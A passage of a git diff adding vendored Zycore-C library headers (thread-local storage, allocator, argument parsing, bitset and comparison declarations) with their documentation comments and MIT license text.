@param param_type The callback data parameter type. + * @param param_name The callback data parameter name. + */ +#define ZYAN_THREAD_DECLARE_TLS_CALLBACK(name, param_type, param_name) \ + VOID NTAPI name(param_type* param_name) + +/* ---------------------------------------------------------------------------------------------- */ + +#else +# error "Unsupported platform detected" +#endif + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the handle of the current thread. + * + * @param thread Receives the handle of the current thread. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanThreadGetCurrentThread(ZyanThread* thread); + +/** + * Returns the unique id of the current thread. + * + * @param thread_id Receives the unique id of the current thread. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanThreadGetCurrentThreadId(ZyanThreadId* thread_id); + +/* ---------------------------------------------------------------------------------------------- */ +/* Thread Local Storage (TLS) */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Allocates a new Thread Local Storage (TLS) slot. + * + * @param index Receives the TLS slot index. + * @param destructor A pointer to a destructor callback which is invoked to finalize the data + * in the TLS slot or `ZYAN_NULL`, if not needed. + * + * The maximum available number of TLS slots is implementation specific and different on each + * platform: + * - Windows + * - A total amount of 128 slots per process are guaranteed + * - POSIX + * - A total amount of 128 slots per process are guaranteed + * - Some systems guarantee larger amounts like e.g. 1024 slots per process + * + * Note that the invocation rules for the destructor callback are implementation specific and + * different on each platform: + * - Windows + * - The callback is invoked when a thread exits + * - The callback is invoked when the process exits + * - The callback is invoked when the TLS slot is released + * - POSIX + * - The callback is invoked when a thread exits and the stored value is not null + * - The callback is NOT invoked when the process exits + * - The callback is NOT invoked when the TLS slot is released + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanThreadTlsAlloc(ZyanThreadTlsIndex* index, + ZyanThreadTlsCallback destructor); + +/** + * Releases a Thread Local Storage (TLS) slot. + * + * @param index The TLS slot index. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanThreadTlsFree(ZyanThreadTlsIndex index); + +/** + * Returns the value inside the given Thread Local Storage (TLS) slot for the + * calling thread. + * + * @param index The TLS slot index. + * @param data Receives the value inside the given Thread Local Storage + * (TLS) slot for the calling thread. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanThreadTlsGetValue(ZyanThreadTlsIndex index, void** data); + +/** + * Set the value of the given Thread Local Storage (TLS) slot for the calling thread. + * + * @param index The TLS slot index. + * @param data The value to store inside the given Thread Local Storage (TLS) slot for the + * calling thread + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanThreadTlsSetValue(ZyanThreadTlsIndex index, void* data); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYAN_NO_LIBC */ + +#endif /* ZYCORE_API_THREAD_H */ diff --git a/Theodosius/Zycore/Allocator.h b/Theodosius/Zycore/Allocator.h new file mode 100644 index 0000000..6435171 --- /dev/null +++ b/Theodosius/Zycore/Allocator.h @@ -0,0 +1,143 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * @brief + */ + +#ifndef ZYCORE_ALLOCATOR_H +#define ZYCORE_ALLOCATOR_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +struct ZyanAllocator_; + +/** + * Defines the `ZyanAllocatorAllocate` function prototype. + * + * @param allocator A pointer to the `ZyanAllocator` instance. + * @param p Receives a pointer to the first memory block sufficient to hold an + * array of `n` elements with a size of `element_size`. + * @param element_size The size of a single element. + * @param n The number of elements to allocate storage for. + * + * @return A zyan status code. + * + * This prototype is used for the `allocate()` and `reallocate()` functions. + * + * The result of the `reallocate()` function is undefined, if `p` does not point to a memory block + * previously obtained by `(re-)allocate()`. + */ +typedef ZyanStatus (*ZyanAllocatorAllocate)(struct ZyanAllocator_* allocator, void** p, + ZyanUSize element_size, ZyanUSize n); + +/** + * Defines the `ZyanAllocatorDeallocate` function prototype. + * + * @param allocator A pointer to the `ZyanAllocator` instance. + * @param p The pointer obtained from `(re-)allocate()`. + * @param element_size The size of a single element. + * @param n The number of elements earlier passed to `(re-)allocate()`. + * + * @return A zyan status code. + */ +typedef ZyanStatus (*ZyanAllocatorDeallocate)(struct ZyanAllocator_* allocator, void* p, + ZyanUSize element_size, ZyanUSize n); + +/** + * Defines the `ZyanAllocator` struct. + * + * This is the base class for all custom allocator implementations. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanAllocator_ +{ + /** + * The allocate function. + */ + ZyanAllocatorAllocate allocate; + /** + * The reallocate function. + */ + ZyanAllocatorAllocate reallocate; + /** + * The deallocate function. + */ + ZyanAllocatorDeallocate deallocate; +} ZyanAllocator; + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * Initializes the given `ZyanAllocator` instance. + * + * @param allocator A pointer to the `ZyanAllocator` instance. + * @param allocate The allocate function. + * @param reallocate The reallocate function. + * @param deallocate The deallocate function. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanAllocatorInit(ZyanAllocator* allocator, ZyanAllocatorAllocate allocate, + ZyanAllocatorAllocate reallocate, ZyanAllocatorDeallocate deallocate); + +#ifndef ZYAN_NO_LIBC + +/** + * Returns the default `ZyanAllocator` instance. + * + * @return A pointer to the default `ZyanAllocator` instance. + * + * The default allocator uses the default memory manager to allocate memory on the heap. + * + * You should in no case modify the returned allocator instance to avoid unexpected behavior. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanAllocator* ZyanAllocatorDefault(void); + +#endif // ZYAN_NO_LIBC + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_ALLOCATOR_H */ diff --git a/Theodosius/Zycore/ArgParse.h b/Theodosius/Zycore/ArgParse.h new file mode 100644 index 0000000..5d389cb --- /dev/null +++ b/Theodosius/Zycore/ArgParse.h @@ -0,0 +1,173 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements command-line argument parsing. + */ + +#ifndef ZYCORE_ARGPARSE_H +#define ZYCORE_ARGPARSE_H + +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Structs and other types */ +/* ============================================================================================== */ + +/** + * Definition of a single argument. + */ +typedef struct ZyanArgParseDefinition_ +{ + /** + * The argument name, e.g. `--help`. + * + * Must start with either one or two dashes. Single dash arguments must consist of a single + * character, (e.g. `-n`), double-dash arguments can be of arbitrary length. + */ + const char* name; + /** + * Whether the argument is boolean or expects a value. + */ + ZyanBool boolean; + /** + * Whether this argument is required (error if missing). + */ + ZyanBool required; +} ZyanArgParseDefinition; + +/** + * Configuration for argument parsing. + */ +typedef struct ZyanArgParseConfig_ +{ + /** + * `argv` argument passed to `main` by LibC. + */ + const char** argv; + /** + * `argc` argument passed to `main` by LibC. + */ + ZyanUSize argc; + /** + * Minimum # of accepted unnamed / anonymous arguments. + */ + ZyanUSize min_unnamed_args; + /** + * Maximum # of accepted unnamed / anonymous arguments. + */ + ZyanUSize max_unnamed_args; + /** + * Argument definition array, or `ZYAN_NULL`. + * + * Expects a pointer to an array of `ZyanArgParseDefinition` instances. The array is + * terminated by setting the `.name` field of the last element to `ZYAN_NULL`. If no named + * arguments should be parsed, you can also set this to `ZYAN_NULL`. + */ + ZyanArgParseDefinition* args; +} ZyanArgParseConfig; + +/** + * Information about a parsed argument. + */ +typedef struct ZyanArgParseArg_ +{ + /** + * Corresponding argument definition, or `ZYAN_NULL` for unnamed args. + * + * This pointer is borrowed from the `cfg` pointer passed to `ZyanArgParse`. + */ + const ZyanArgParseDefinition* def; + /** + * Whether the argument has a value (is non-boolean). + */ + ZyanBool has_value; + /** + * If `has_value == true`, then the argument value. + * + * This is a view into the `argv` string array passed to `ZyanArgParse` via the `cfg` argument. + */ + ZyanStringView value; +} ZyanArgParseArg; + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +#ifndef ZYAN_NO_LIBC + +/** + * Parse arguments according to a `ZyanArgParseConfig` definition. + * + * @param cfg Argument parser config to use. + * @param parsed Receives the parsed output. Vector of `ZyanArgParseArg`. Ownership is + * transferred to the user. Input is expected to be uninitialized. On error, + * the vector remains uninitialized. + * @param error_token On error, if it makes sense, receives the argument fragment causing the + * error. Optional, may be `ZYAN_NULL`. The pointer borrows into the `cfg` + * struct and doesn't have to be freed by the user. + * + * @return A `ZyanStatus` status determining whether the parsing succeeded. + */ +ZYCORE_EXPORT ZyanStatus ZyanArgParse(const ZyanArgParseConfig *cfg, ZyanVector* parsed, + const char** error_token); + +#endif + +/** + * Parse arguments according to a `ZyanArgParseConfig` definition. + * + * This version allows specification of a custom memory allocator and thus supports no-libc. + * + * @param cfg Argument parser config to use. + * @param parsed Receives the parsed output. Vector of `ZyanArgParseArg`. Ownership is + * transferred to the user. Input is expected to be uninitialized. On error, + * the vector remains uninitialized. + * @param error_token On error, if it makes sense, receives the argument fragment causing the + * error. Optional, may be `ZYAN_NULL`. The pointer borrows into the `cfg` + * struct and doesn't have to be freed by the user. + * @param allocator The `ZyanAllocator` to be used for allocating the output vector's data. + * + * @return A `ZyanStatus` status determining whether the parsing succeeded. + */ +ZYCORE_EXPORT ZyanStatus ZyanArgParseEx(const ZyanArgParseConfig *cfg, ZyanVector* parsed, + const char** error_token, ZyanAllocator* allocator); + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_ARGPARSE_H */ diff --git a/Theodosius/Zycore/Bitset.h b/Theodosius/Zycore/Bitset.h new file mode 100644 index 0000000..8c7eb1f --- /dev/null +++ b/Theodosius/Zycore/Bitset.h @@ -0,0 +1,484 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements the bitset class. + */ + +#ifndef ZYCORE_BITSET_H +#define ZYCORE_BITSET_H + +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanVector` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanBitset_ +{ + /** + * The bitset size. + */ + ZyanUSize size; + /** + * The bitset data. + */ + ZyanVector bits; +} ZyanBitset; + +/** + * Defines the `ZyanBitsetByteOperation` function prototype. + * + * @param v1 A pointer to the first byte. This value receives the result after performing the + * desired operation. + * @param v2 A pointer to the second byte. + * + * @return A zyan status code. + * + * This function is used to perform byte-wise operations on two `ZyanBitset` instances. + */ +typedef ZyanStatus (*ZyanBitsetByteOperation)(ZyanU8* v1, const ZyanU8* v2); + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constructor and destructor */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanBitset` instance. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param count The initial amount of bits. + * + * @return A zyan status code. + * + * The space for the bitset is dynamically allocated by the default allocator using the default + * growth factor of `2.0f` and the default shrink threshold of `0.5f`. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanBitsetInit(ZyanBitset* bitset, ZyanUSize count); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanBitset` instance and sets a custom `allocator` and memory + * allocation/deallocation parameters. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param count The initial amount of bits. + * @param allocator A pointer to a `ZyanAllocator` instance. + * @param growth_factor The growth factor (from `1.0f` to `x.xf`). + * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). + * + * @return A zyan status code. + * + * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables + * dynamic shrinking. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetInitEx(ZyanBitset* bitset, ZyanUSize count, + ZyanAllocator* allocator, float growth_factor, float shrink_threshold); + +/** + * Initializes the given `ZyanBitset` instance and configures it to use a custom user + * defined buffer with a fixed size. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param count The initial amount of bits. + * @param buffer A pointer to the buffer that is used as storage for the bits. + * @param capacity The maximum capacity (number of bytes) of the buffer. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetInitBuffer(ZyanBitset* bitset, ZyanUSize count, void* buffer, + ZyanUSize capacity); + +/** + * Destroys the given `ZyanBitset` instance. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetDestroy(ZyanBitset* bitset); + +/* ---------------------------------------------------------------------------------------------- */ +/* Logical operations */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Performs a byte-wise `operation` for every byte in the given `ZyanBitset` instances. + * + * @param destination A pointer to the `ZyanBitset` instance that is used as the first input and + * as the destination. + * @param source A pointer to the `ZyanBitset` instance that is used as the second input. + * @param operation A pointer to the function that performs the desired operation. + * + * @return A zyan status code. + * + * The `operation` callback is invoked once for every byte in the smallest of the `ZyanBitset` + * instances. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetPerformByteOperation(ZyanBitset* destination, + const ZyanBitset* source, ZyanBitsetByteOperation operation); + +/** + * Performs a logical `AND` operation on the given `ZyanBitset` instances. + * + * @param destination A pointer to the `ZyanBitset` instance that is used as the first input and + * as the destination. + * @param source A pointer to the `ZyanBitset` instance that is used as the second input. + * + * @return A zyan status code. + * + * If the destination bitmask contains more bits than the source one, the state of the remaining + * bits will be undefined. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetAND(ZyanBitset* destination, const ZyanBitset* source); + +/** + * Performs a logical `OR` operation on the given `ZyanBitset` instances. + * + * @param destination A pointer to the `ZyanBitset` instance that is used as the first input and + * as the destination. + * @param source A pointer to the `ZyanBitset` instance that is used as the second input. + * + * @return A zyan status code. + * + * If the destination bitmask contains more bits than the source one, the state of the remaining + * bits will be undefined. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetOR (ZyanBitset* destination, const ZyanBitset* source); + +/** + * Performs a logical `XOR` operation on the given `ZyanBitset` instances. + * + * @param destination A pointer to the `ZyanBitset` instance that is used as the first input and + * as the destination. + * @param source A pointer to the `ZyanBitset` instance that is used as the second input. + * + * @return A zyan status code. + * + * If the destination bitmask contains more bits than the source one, the state of the remaining + * bits will be undefined. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetXOR(ZyanBitset* destination, const ZyanBitset* source); + +/** + * Flips all bits of the given `ZyanBitset` instance. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetFlip(ZyanBitset* bitset); + +/* ---------------------------------------------------------------------------------------------- */ +/* Bit access */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Sets the bit at `index` of the given `ZyanBitset` instance to `1`. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param index The bit index. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetSet(ZyanBitset* bitset, ZyanUSize index); + +/** + * Sets the bit at `index` of the given `ZyanBitset` instance to `0`. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param index The bit index. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetReset(ZyanBitset* bitset, ZyanUSize index); + +/** + * Sets the bit at `index` of the given `ZyanBitset` instance to the specified `value`. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param index The bit index. + * @param value The new value. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetAssign(ZyanBitset* bitset, ZyanUSize index, ZyanBool value); + +/** + * Toggles the bit at `index` of the given `ZyanBitset` instance. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param index The bit index. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetToggle(ZyanBitset* bitset, ZyanUSize index); + +/** + * Returns the value of the bit at `index`. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param index The bit index. + * + * @return `ZYAN_STATUS_TRUE`, if the bit is set or `ZYAN_STATUS_FALSE`, if not, Another zyan + * status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetTest(ZyanBitset* bitset, ZyanUSize index); + +/** + * Returns the value of the most significant bit. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return `ZYAN_STATUS_TRUE`, if the bit is set or `ZYAN_STATUS_FALSE`, if not. Another zyan + * status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetTestMSB(ZyanBitset* bitset); + +/** + * Returns the value of the least significant bit. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return `ZYAN_STATUS_TRUE`, if the bit is set or `ZYAN_STATUS_FALSE`, if not. Another zyan + * status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetTestLSB(ZyanBitset* bitset); + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Sets all bits of the given `ZyanBitset` instance to `1`. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetSetAll(ZyanBitset* bitset); + +/** + * Sets all bits of the given `ZyanBitset` instance to `0`. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetResetAll(ZyanBitset* bitset); + +/* ---------------------------------------------------------------------------------------------- */ +/* Size management */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Adds a new bit at the end of the bitset. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param value The value of the new bit. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetPush(ZyanBitset* bitset, ZyanBool value); + +/** + * Removes the last bit of the bitset. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetPop(ZyanBitset* bitset); + +/** + * Deletes all bits of the given `ZyanBitset` instance. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetClear(ZyanBitset* bitset); + +/* ---------------------------------------------------------------------------------------------- */ +/* Memory management */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Changes the capacity of the given `ZyanBitset` instance. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param count The new capacity (number of bits). + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetReserve(ZyanBitset* bitset, ZyanUSize count); + +/** + * Shrinks the capacity of the given bitset to match it's size. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetShrinkToFit(ZyanBitset* bitset); + +/* ---------------------------------------------------------------------------------------------- */ +/* Information */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the current size of the bitset in bits. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param size Receives the size of the bitset in bits. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetGetSize(const ZyanBitset* bitset, ZyanUSize* size); + +/** + * Returns the current capacity of the bitset in bits. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param capacity Receives the size of the bitset in bits. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetGetCapacity(const ZyanBitset* bitset, ZyanUSize* capacity); + +/** + * Returns the current size of the bitset in bytes. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param size Receives the size of the bitset in bytes. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetGetSizeBytes(const ZyanBitset* bitset, ZyanUSize* size); + +/** + * Returns the current capacity of the bitset in bytes. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param capacity Receives the size of the bitset in bytes. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetGetCapacityBytes(const ZyanBitset* bitset, ZyanUSize* capacity); + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the amount of bits set in the given bitset. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param count Receives the amount of bits set in the given bitset. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetCount(const ZyanBitset* bitset, ZyanUSize* count); + +/** + * Checks, if all bits of the given bitset are set. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return `ZYAN_STATUS_TRUE`, if all bits are set, `ZYAN_STATUS_FALSE`, if not. Another zyan + * status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetAll(const ZyanBitset* bitset); + +/** + * Checks, if at least one bit of the given bitset is set. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return `ZYAN_STATUS_TRUE`, if at least one bit is set, `ZYAN_STATUS_FALSE`, if not. Another + * zyan status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetAny(const ZyanBitset* bitset); + +/** + * Checks, if none bits of the given bitset are set. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return `ZYAN_STATUS_TRUE`, if none bits are set, `ZYAN_STATUS_FALSE`, if not. Another zyan + * status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetNone(const ZyanBitset* bitset); + +///* ---------------------------------------------------------------------------------------------- */ +// +///** +// * Returns a 32-bit unsigned integer representation of the data. +// * +// * @param bitset A pointer to the `ZyanBitset` instance. +// * @param value Receives the 32-bit unsigned integer representation of the data. +// * +// * @return A zyan status code. +// */ +//ZYCORE_EXPORT ZyanStatus ZyanBitsetToU32(const ZyanBitset* bitset, ZyanU32* value); +// +///** +// * Returns a 64-bit unsigned integer representation of the data. +// * +// * @param bitset A pointer to the `ZyanBitset` instance. +// * @param value Receives the 64-bit unsigned integer representation of the data. +// * +// * @return A zyan status code. +// */ +//ZYCORE_EXPORT ZyanStatus ZyanBitsetToU64(const ZyanBitset* bitset, ZyanU64* value); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_BITSET_H */ diff --git a/Theodosius/Zycore/Comparison.h b/Theodosius/Zycore/Comparison.h new file mode 100644 index 0000000..6d8b518 --- /dev/null +++ b/Theodosius/Zycore/Comparison.h @@ -0,0 +1,316 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Defines prototypes of general-purpose comparison functions. + */ + +#ifndef ZYCORE_COMPARISON_H +#define ZYCORE_COMPARISON_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanEqualityComparison` function prototype. + * + * @param left A pointer to the first element. + * @param right A pointer to the second element. + * + * @return This function should return `ZYAN_TRUE` if the `left` element equals the `right` one + * or `ZYAN_FALSE`, if not. + */ +typedef ZyanBool (*ZyanEqualityComparison)(const void* left, const void* right); + +/** + * Defines the `ZyanComparison` function prototype. + * + * @param left A pointer to the first element. + * @param right A pointer to the second element. + * + * @return This function should return values in the following range: + * `left == right -> result == 0` + * `left < right -> result < 0` + * `left > right -> result > 0` + */ +typedef ZyanI32 (*ZyanComparison)(const void* left, const void* right); + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Equality comparison functions */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Declares a generic equality comparison function for an integral data-type. + * + * @param name The name of the function. + * @param type The name of the integral data-type. + */ +#define ZYAN_DECLARE_EQUALITY_COMPARISON(name, type) \ + ZyanBool name(const type* left, const type* right) \ + { \ + ZYAN_ASSERT(left); \ + ZYAN_ASSERT(right); \ + \ + return (*left == *right) ? ZYAN_TRUE : ZYAN_FALSE; \ + } + +/** + * Declares a generic equality comparison function that compares a single integral + * data-type field of a struct. + * + * @param name The name of the function. + * @param type The name of the integral data-type. + * @param field_name The name of the struct field. + */ +#define ZYAN_DECLARE_EQUALITY_COMPARISON_FOR_FIELD(name, type, field_name) \ + ZyanBool name(const type* left, const type* right) \ + { \ + ZYAN_ASSERT(left); \ + ZYAN_ASSERT(right); \ + \ + return (left->field_name == right->field_name) ? ZYAN_TRUE : ZYAN_FALSE; \ + } + +/* ---------------------------------------------------------------------------------------------- */ +/* Comparison functions */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Declares a generic comparison function for an integral data-type. + * + * @param name The name of the function. + * @param type The name of the integral data-type. + */ +#define ZYAN_DECLARE_COMPARISON(name, type) \ + ZyanI32 name(const type* left, const type* right) \ + { \ + ZYAN_ASSERT(left); \ + ZYAN_ASSERT(right); \ + \ + if (*left < *right) \ + { \ + return -1; \ + } \ + if (*left > *right) \ + { \ + return 1; \ + } \ + return 0; \ + } + +/** + * Declares a generic comparison function that compares a single integral data-type field + * of a struct. + * + * @param name The name of the function. + * @param type The name of the integral data-type. + * @param field_name The name of the 